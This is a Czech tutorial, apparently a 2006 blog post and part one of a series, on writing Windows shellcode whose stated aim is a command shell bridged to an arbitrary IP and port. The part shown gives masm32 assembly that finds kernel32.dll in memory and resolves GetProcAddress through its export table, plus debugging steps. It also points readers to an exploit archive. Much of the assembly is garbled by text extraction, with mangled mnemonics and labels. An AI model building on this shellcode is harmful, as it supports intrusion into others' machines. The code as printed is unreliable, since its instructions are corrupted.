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Exploitovani - tvorba shellkédu 1. c¢ast

Vlozil/a Juzna [1], 8 Leden, 2006 - 17:35

e Exploit [2]
e Hacking [3]
e Programming [4]

Exploitovani je velice zajimava c¢innost a existuje o ném hodné informaci a dokonce sgéla kniha
»Hacking - uméni exploitace”. Ovsem vétsSinou je vSe popsané pro Linux. Pro vlastni pochopeni
exploitl to nevadi, ale informace jak napsat néjaky ten shellkéd pro Win jsem snad zadné nenasel.
Vysledkem bude shellkdd ktery spusti prikazovou radku a pfemosti ji na libovolnou IP:port.

Exploitovani

Uvédomte si, Ze hacker ktery chce cokoliv hacknout, musi byt chytfejsi nez ten kdo dany program
(nebo cokoliv) vytvarel. Hacker musi dokonale znat programovaci jazyk, nékdy i nékolik jazykd, a na
dané problémy mit nadhled. Musi samotné prikazy chapat |épe nez programator, protoze pak odhali
Ze programator vlastné nenapsal presné takovy prikaz jaky chtél. A toho nas hacker (zne)vyuzije.
Pokud jste ale néjaka lama co si umi precist emaily a chcete se nabourat do emailu nékoho jiného,
tak si radsi vygooglete wwwhack.

Existuje mnoho rliznych exploitl podle toho co chcete exploitovat. Pokud chcete exploitovat
webovou aplikaci psanou v PHP + mySQL, pak musite znat tyto jazyky a tfeba Assembler vdm bude
k nicemu. Ale na druhou stranu pokud chcete vyuzit napf. chyby v néjakém spustitelném programu a
spustit tak svij kod, budete muset umét assembler. Na tento zplsob se dneska zamérime.

Pokud se chcete dozvédét néco o technice a krase exploitovani, urcité si prectéte knihu ,Hacking -
uméni exploitace”. Z ni vSechno pochopite a nema cenu ji zde prepisovat. Nebudu se zde zabyvat
jak udélat exploit a jak najit chybu v néjakém programu. | proto zZe to je hodné naroc¢né a slozité, a
navic autor urcité chybu brzo zaplatuje (pokud se nejedna o M$, ktery se se zdplatama nijak nes...
neuhani) a tak by vas jen nastvalo ze se s tim tak hledate. Ze zacatku vam bude stacit najit si jiz
néjaké bugy a pouze si upravit exploit, ktery uz nékdo vytvofil, aby délal to co vy chcete. Osobné
doporucuji tfeba stranku www.frsirt.com [5] kde najdete jiz bugl a exploitd hromadu.

Co potrebujeme?

* Assebmler - Pro vytvoreni exploitu budeme potrebovat néjaky utrzek programu, ktery sSikovné
dostaneme do zranitelného programu a pomoci chyby jej spustime. Nejcastéji je psan v
programovacim jazyce assebmler. Pokud jej neumite, nezbyva vdm nic nez se jej naucit (doporucuiji
server www.manualy.sk [6] a pokud se vam nechce hledat tady mate pfimo odkaz na knihu o Asm:
http://www.manualy.sk/koutek/volba9/ [7]).

* Kompilator - ja pouzivdm masm32, ktery si mlzete vygooglit a zdarma stdhnout. Vsechny
priklady budou psany v ném, i kdyz je mUzete psat v jakémkoliv editoru a nasledné zkompilovat.

* Debugger - abychom se mohli presvédcit Zze nds program funguje tak jak ma, popfripadé pro
hledani chyb, pouzijeme debugger. Pomoci né&j mizeme krokovat jednotlivé prikazy a sledovat jak
program probiha. J& pouzivdm a doporucuji OllyDbg

* Zranitelny program - abych mohl zkousSet Utrzky kédu upravdu v praxi a jednoduse, udélal jsem
si drobny programek ve Visual Basicu, ktery nacte ze souboru nés program, umisti ho nékam do
paméti a nasledné zavola. Mizete si jej stdhnout zde: www.juzna.com/vuln.php [8]
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Assembler

Potrebujeme napsat program, ze kterého pouzijeme jen jeho Utrzek (pouze samotny strojovy kéd).
Tento Utrzek programu musi byt Uplné samostatny. Je to jako byste se objevili nékde a nevite kde.
Nemate sebou nic a o vSe se musite postarat sami. Pro nas kdd to znamend, ze je nékde v paméti a
nevime kde jsou jakékoliv systémové funkce. Pfi psani obycejného programu v asm prosté
naincludujeme knihovnu a pak voldme jeji funkce pomoci jména. Vlibec se nemusime starat Ze je
potfeba dané knihovny nadist a najit v nich funkce, to za nas udéla kompilator. Nyni mame ale kus
kédu vlozeny do jiného programu a musime si vSe obstarat sami.

Prvni zachytny bod: kernell

Musime postupovat od zakladnich véci co vime kde se daji najit a podle kterych pak mdzeme hledat
dale. Prvnim zachytnym bodem je pro nas knihovna kernell32.dll, kterou méa nactenou kazdy
program ve Win. Existuje vice zplsobU jaxe hleda. Nevim presné jak ktery funguje, ale mé staci ze
prosté funguji a je to. Pokud by se vdm nelibili nebo nefungovaly, mizete si néjaké zkusit vygooglit.
Ja jsem zatim narazil na 2 a oba zde popisu.

Prvni zplsob nahodi do eax né&jakou adresu kde ¢asto byva knihovna kernell. Resp kernell je zac¢ina
nékde pred touto adresou. Proto postupné sniZzujeme eax a porovnavame data co jsou na dané
adrese. Jelikoz vSechny spustitelné programy zacdinaji znaky MZ.., tak jakmile je najdeme, nasli jsme
kernell.

hl edej _kernel I :
mov eax, 77F10000h ; Toto je neco v kernell 32.dl

; Postupuj ene zpet a hl edane zacatek kernellu, tzn M. .
snycka:
cnp dword ptr [eax], 00905A4Dh
j e nal ezeno
dec eax
j mp snycka
nal ezeno:
ret

Ovsem neplati to vzdy. Je to rekl bych takovy tipovaci mechanizmus. Na SP1 mi fungoval vzdycky na
nékolika pocitacich, ale na SP2 nasel knihovnu GDI. Proto se |épe bude hodit jiné FeSeni:

hl edej _kernel |

xor eax, eax

;v eax, dword ptr fs:[eax+30h] ; Toto nejako nejde prelozit, nahradinme prino
db 64h, 8Bh, 40h, 30h

t est eax, eax

js hl edej _kernel | 2

push esi

nov eax, dword ptr ds:[eax+0Ch]
nmov esi, dword ptr ds:[eax+01Ch]
| ods dword ptr ds:[esi]

nmov eax, dword ptr ds:[eax+8h]
pop esi

ret
hl edej _kernel | 2:

nov eax, dword ptr ds:[eax+34h]
add eax, 7Ch
nov eax, dword ptr ds:[eax+3Ch]

ret
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Tento druhy kéd mi funguje jak na SP1 tak na SP2. Bohuzel nevim jak kernell najde, ale najde ho tak
vzdycky. Jeden prikaz mi neSel v masm prelozit, proto jsem ho nahradil prfimo znaky které vzniknou

po prelozeni.

Nyni uz tedy zname adresu na které se nachazi v paméti knihovna kernell.

(Vlastni procedury a funkce si tfreba umistéte az na konec kédu. Nebo je mizete dat na zacatek, ale
pak jesté pred né musite vlozit skok na vlastni kéd)

Druhy zachytny bod: funkce GetProcAddress

Pomoci funkce GetProcAddress z knihovny kernell mizeme jednoduse najit adresy dalsich
potrebnych funkci. Nejdrive ale musime najit tuto funkci ,slozitym*“ zplsobem.

Nejdfive volanim call skocime na dalsi instrukci, pficemz se na stack ulozi navratova hodnota ktera
ukazuje na instrukci za volanim, tzn. na nas string s nazvem funkce kterou hledéame. Tuto adresu
instrukci pop uloZzime do registru edx.

call after_getprocaddr
db " Get ProcAddress", 0
aft er _get procaddr:

pop edx

(jeSté musim zminit ze pfri instrukcich skoku nebo volani je adresa kam se ma skocit udavana
relativné vzhledem k dalsi instrukci. Takze instrukce volani bude ve stylu call +15 neboli sko¢ o na
instrukci o 15 bajtd dal nez je ta nasleduijici).

Ddle si pomoci predchozi funkce najdeme adresu na kernell.

cal I hl edej _kernell
nov ebx, eax ;. Do EBX zacatek kernellu

Pro dalsi kroky je nutné védét co v sobé skryvé klasickd Windozacka knihovna, tudiz i kernell. Na
daném misté v souboru je ulozen offset na tzv. PE hlavi¢ku. V ni je pak ulozen offset na seznam
exportovanych funkci. Na tomto seznamu je ulozen pocet exportovanych funkci a offset na seznam
offsetll ndzvl téchto funkci (dost slozitd formulace, co?:)

nov esi, dword ptr [ebx+3Ch] ; Na pozici 3C od zacatku kernellu je offset na PE
add esi, ebx ; Prictenimpocatku kernellu ziskanme z of fsetu skutecnou adresu
nmov esi, dword ptr [esi+78h] ; O fset na ExportTable

add esi, ebx

nmov ecx, dword ptr [esi+14h] ; Do ecx pocet exportovanych funkc

nov edi, dword ptr [esi+20h] ; Do edi adresu kde je seznam offsetu na nazvy fc
add edi, ebx

push esi ; Schovane si esi pa? ho budene nPnit
xor ebp, ebp ; VWnul ujene ebp, kam budene ukl &dat index fce

Takze si jeSté ujasnéme co kde mame ulozeno:

edx - adresa na nas string

ebx - adresa na kernell

ecx - pocet exportovanych funkci. Registr ecx je zvolen zdmérné protoze udava poclet opakovani pri
instrukci loop.

esi - adresa na ExportTable

edi - seznam offsetu na kterych jsou ulozeny nazvy funkci

stack - médme zde schovanou jeden registr, a to esi

Jdeme tedy prochéazet jednotlivé funkce a kontrolovat zda jejich ndzev neni GetProcAddress.
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snycka_hl edej adr esu:

push edi ; Schovane si pac je budene nenit

push ecx ;

nov edi, dword ptr [edi] ; Najdene si offset na nazev dane fce
add edi, ebx ; Ziskame z offsetu adresu

nmov esi, edx ; Nas string GetProcAddress

nmov ecx, OEh ; Del ka retezne: 14 znaku

repz cnpsb ; Porovnane

j e get procaddr _nal ezeno ; Pokud souhl asi pokracuj ene da

pop ecx ; Zpatky vratine ecx - zbyvajici pocet fc

pop edi ; a edi - adresa na pointery na nazvy fc

add edi, 4h ; Prictene del ku ofsetu, takze edi odkazuje na dal si funkc

inc ebp ; Prictenme index fce a zkousi nme dal si

| oop snycka_hl edej adresu ; H edane dal si (pocet kroku v ecx ktery je nastaven na
pocet exportovanych fci)

get procaddr _nal ezeno:

pop ecx ; Vratine ze stacku 3 ul ozene hodnoty
pop edi

pop esi

Nyni jsme v registru ebp ziskali index funkce, tzn. kolikata fce z knihovny je ta nase. Zbyva ndm
slozitou cestou vyhledat

nov ecx, ebp ; P?esunene index do ecx

shl ecx, 1 ; Vynasobine dvena

nov eax, dword ptr [esi+24h] ; Naj dene adresu na tabul ku s dalsim offsety

add eax, ebx

add eax, ecx ; Prictene a index a ziskane adresu na index teto fce v jine tabulce

XOr ecx, ecx

nmov cx, word ptr [eax] ; Do cx nactene slovo z teto adresy cinz ziskane dany i ndex
shl ecx, 2h ; Vynasobine 4nma

nov eax, dword ptr [esi+1Ch] ; Najdene offset tabulky adres funkc

add eax, ebx ; Z offsetu ziskane adresu

add eax, ecx ; Prictene index a ziskali zne konecnou adresu na ktere je offset fce
nov eax, dword ptr [eax] ; Nactene offset dane fce

add eax, ebx ; Konecne mane vyslednou adresu

Konec¢né jsme ziskali adresu na funkci GetProcAddr pomoci které ziskdme adresy na vSechny dalsi
potrebné funkce

Zkouska funkcnosti + debugging
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(9]

Nyni bychom si mohli zkusit k6d zkompilovat a nasledné spustit pres zranitelny program. Zjistime tak
zda program opravdu déla to co jsme chtéli a zda jsme neudélali chybu. Pokud chyba nastala,
zjistime kde.

Na konec kédu pridame jesté breakpoint, ktery ndm zastavi v debuggeru abychom mohli vse
zkontrolovat. Exploit zkompilujeme pomoci masm32 a pres program vuln spustime. (cely zdrojak si
mUzete stdhnout na www.juzna.com/sploit01.asm [10])

Pokud ovSsem nebudeme dany program debuggovat, pak ndm spadne (kvdli breakpointu) a Windows
se nas zeptd jestli odeslat ¢i neodeslat zpravu o havarii. Popripadé pokud méate nainstalovany a
nastaveny debugger tak védm umozni primo vstup do debuggovani tohoto programu.

Debugger

V debuggeru vidime zvyraznénou aktudlni instrukci. Je to preruseni, na kterém se program zastavil a
(pokud neni jiz debuggovan) nevi jak dal a proto ,,spadne”.

V registru eax se ma nachazet adresa na funkci GetProcAddress, coz si mdzeme ovérit vpravo
nahore kdyZ je podivdme na obsah registrl. Vedle eax vidime jeji hodnotu 7C80AC28 a vedle toho
popis, ze se jednd o exportovanou funkci a jeji nazev.
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[11]
VSe je tedy zda se v poradku. Bud debugger ukoncime a s tim i zaroven nds spustény program, nebo
mUzeme zkusit pokracovat. Nevykonalo by se stejné ale nic rozumného, protoze dal nas kéd uz
nesaha.

Mlzeme pokracovat v psani kédu.
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